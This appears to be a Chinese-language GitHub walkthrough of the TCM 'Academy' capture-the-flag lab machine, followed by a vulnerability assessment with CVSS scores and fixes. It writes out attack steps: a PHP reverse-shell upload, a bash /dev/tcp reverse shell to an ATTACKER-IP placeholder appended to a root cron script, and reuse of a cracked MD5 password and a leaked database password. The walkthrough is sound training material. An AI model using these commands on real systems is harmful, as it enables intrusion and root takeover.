WNobsi/TCM-Academy-Machine-Walkthrough

GitHub: WNobsi/TCM-Academy-Machine-Walkthrough

一份涵盖完整渗透测试生命周期的 VulnHub Academy 靶机实战攻略文档,演示从侦察到提权的漏洞链式利用全过程。

Stars: 0 | Forks: 0

# Academy - TCM 靶机 walkthrough

# 目录 - [概述](#overview) - [方法论](#methodology) - [侦察](#reconnaissance) - [枚举](#enumeration) - [初始漏洞利用](#initial-exploitation) - [权限提升](#privilege-escalation) - [Flag 捕获](#flag-capture) - [漏洞评估](#vulnerability-assessment) - [关键要点与经验教训](#key-takeaways--lessons-learned) - [渗透测试员的最终观察](#pentesters-final-observation) # 概述 Academy 靶机展示了如何将几个看似微小的安全弱点组合(链式利用)起来,从而实现完整的系统攻陷。 攻击路径包括: 1. 通过 FTP 造成的信息泄露。 2. 使用 MD5 的弱密码存储。 3. 无限制的文件上传导致远程代码执行 (RCE)。 4. 凭据重用。 5. 不安全的 cron 执行导致 root 权限被攻陷。 # 方法论 ``` Reconnaissance ↓ Enumeration ↓ Credential Discovery ↓ File Upload → RCE ↓ Local Enumeration ↓ Credential Reuse ↓ Cron Abuse ↓ Root Access ``` # 侦察 ## 主机发现 ``` netdiscover ``` 或者 ``` nmap -sn 192.168.126.0/24 ``` ## 端口发现与服务枚举 ``` nmap -sS -p- -A ``` ### 发现 - 端口 80 (HTTP) - Academy Web 应用程序 📸 **插入截图:** 主机发现和 Nmap 结果。 ### 渗透测试员的观察 首要目标是了解暴露的攻击面。单个 Web 应用程序通常就能提供足够的机会来完全攻陷系统。 # 枚举 ## Web 枚举 ``` http:// ``` 📸 **插入截图:** Academy 主页。 ## 目录枚举 ``` gobuster dir \ -u http:// \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt ``` 暴露的有趣目录包含了一个 FTP 资源。 📸 **插入截图:** 目录枚举。 ## FTP 信息泄露 发现的凭据: ``` Username: 10201321 Password: cd73502828457d15655bbd7a63fb0bc8 ``` 密码类似于哈希值,并被识别为: ``` student ``` 最终凭据: ``` Username: 10201321 Password: student ``` 📸 **插入截图:** 哈希识别。 ### 渗透测试员的观察 每当凭据看起来像哈希值时,在假定它们是明文之前,务必尝试进行识别和破解。 # 初始漏洞利用 ## 学生门户登录 ``` Username: 10201321 Password: student ``` 📸 **插入截图:** 成功登录。 ## 文件上传功能 个人资料页面: ``` /my_profile.php ``` 表明服务器运行着 PHP 并允许上传图片。 📸 **插入截图:** 上传功能。 ### 渗透测试员的观察 文件上传功能是 Web 应用程序测试中价值最高的攻击向量之一,因为薄弱的验证机制可以迅速导致远程代码执行 (RCE)。 ## 上传 PHP 反向 Shell 使用: ``` https://github.com/pentestmonkey/php-reverse-shell ``` 修改: ``` $ip = 'ATTACKER-IP'; $port = 1234; ``` 监听器: ``` nc -lvnp 1234 ``` 上传: ``` photo.php ``` 📸 **插入截图:** 反向 Shell 上传。 ## 获取远程代码执行 ``` hostname whoami ``` 输出: ``` academy www-data ``` 📸 **插入截图:** 反向 Shell。 ### 渗透测试员的观察 初始访问仅仅是开始。下一个目标始终是权限提升。 # 权限提升 ## 使用 LinPEAS 进行本地枚举 ``` python3 -m http.server 8000 wget http://ATTACKER-IP:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh ``` 发现: ``` $mysql_user = "grimmie"; $mysql_password = "My_V3ryS3cur3_P4ss"; $mysql_database = "onlinecourse"; ``` 📸 **插入截图:** LinPEAS 发现。 ### 渗透测试员的观察 配置文件通常包含凭据,在获取 shell 访问权限后应始终进行检查。 ## 凭据重用 ``` ssh grimmie@ ``` 密码: ``` My_V3ryS3cur3_P4ss ``` 📸 **插入截图:** 作为 grimmie 进行 SSH 登录。 ### 渗透测试员的观察 凭据重用是现实世界中最常见的弱点之一,并且经常被用于实现权限提升。 ## 调查 Cron Jobs 在用户的主目录中发现了一个名为: ``` backup.sh ``` 的文件。 使用 pspy 确认该脚本是由 root 执行的。 📸 **插入截图:** pspy 输出。 ### 渗透测试员的观察 由 root 执行的可写脚本是极佳的权限提升机会。 ## Cron 漏洞利用 追加: ``` bash -i >& /dev/tcp/ATTACKER-IP/8081 0>&1 ``` 启动监听器: ``` nc -nvlp 8081 ``` 靶机以 root 身份回连。 📸 **插入截图:** Root shell。 # Flag 捕获 ``` whoami cat /root/flag.txt ``` 输出: ``` root ``` 📸 **插入截图:** Flag 捕获。 # 漏洞评估 ## 1. 通过 FTP 的信息泄露 - **严重程度:** 高 - **CVSS v3.1:** 7.5 ### 影响 未经授权访问应用程序凭据。 ### 修复建议 - 从公共位置移除敏感文件。 - 禁用匿名 FTP。 - 使用 ACL 限制访问。 **优先级:** P2 ## 2. 弱密码存储 (MD5) - **严重程度:** 高 - **CVSS v3.1:** 7.5 - **CWE-327** - **CWE-759** ### 修复建议 - 使用 Argon2id、bcrypt 或 scrypt。 - 实施加盐。 - 强制执行强密码策略。 **优先级:** P2 ## 3. 无限制的文件上传 (RCE) - **严重程度:** 严重 - **CVSS v3.1:** 9.8 - **CWE-434** ### 修复建议 - 验证文件签名和 MIME 类型。 - 将上传内容存储在 Web 根目录之外。 - 禁用上传目录中的脚本执行。 - 实施允许列表。 **优先级:** P1 ## 4. 凭据重用 - **严重程度:** 高 - **CVSS v3.1:** 8.8 - **CWE-798** ### 修复建议 - 分离应用程序和系统凭据。 - 定期轮换密码。 - 使用密钥管理。 **优先级:** P1 ## 5. 配置文件中的明文凭据 - **严重程度:** 中 - **CVSS v3.1:** 6.5 - **CWE-256** ### 修复建议 - 将密钥存储在环境变量中。 - 限制文件权限。 - 使用密钥管理解决方案。 **优先级:** P3 ## 6. 不安全的 Cron 权限 - **严重程度:** 严重 - **CVSS v3.1:** 9.8 - **CWE-732** ### 修复建议 ``` chown root:root backup.sh chmod 700 backup.sh ``` - 定期审计 cron jobs。 - 监控特权脚本的完整性。 **优先级:** P1 ## 漏洞优先级矩阵 | 漏洞 | 严重程度 | 优先级 | |--------------|-----------|-----------| | 无限制的文件上传 | 严重 | P1 | | 不安全的 Cron 权限 | 严重 | P1 | | 凭据重用 | 高 | P1 | | 信息泄露 | 高 | P2 | | 弱密码存储 | 高 | P2 | | 明文凭据 | 中 | P3 | # 关键要点与经验教训 ## 进攻经验 - 信息泄露可能导致系统被完全攻陷。 - 应始终测试文件上传功能。 - 配置文件经常暴露凭据。 - 凭据重用仍然极具危险性。 - 像 pspy 这样的进程监控工具非常宝贵。 ## 防御经验 - 强制执行安全的密码存储。 - 验证文件上传。 - 分离凭据。 - 保护 cron jobs。 - 实施最小权限原则。 # 渗透测试员的最终观察 Academy 靶机完美地展示了漏洞链(组合利用)的概念。 没有任何单一的漏洞能直接导致 root 权限被攻陷。相反,是几个弱点结合在一起创造了一条完整的攻击路径: ``` Information Disclosure ↓ Weak Password Storage ↓ Remote Code Execution ↓ Credential Reuse ↓ Insecure Cron Permissions ↓ Root Compromise ``` 在整个测试过程中,关键问题是: **“这个新获取的信息允许我接下来做什么?”**
标签:CTI, VulnHub, 协议分析, 安全实战, 密码管理, 权限提升, 靶场攻防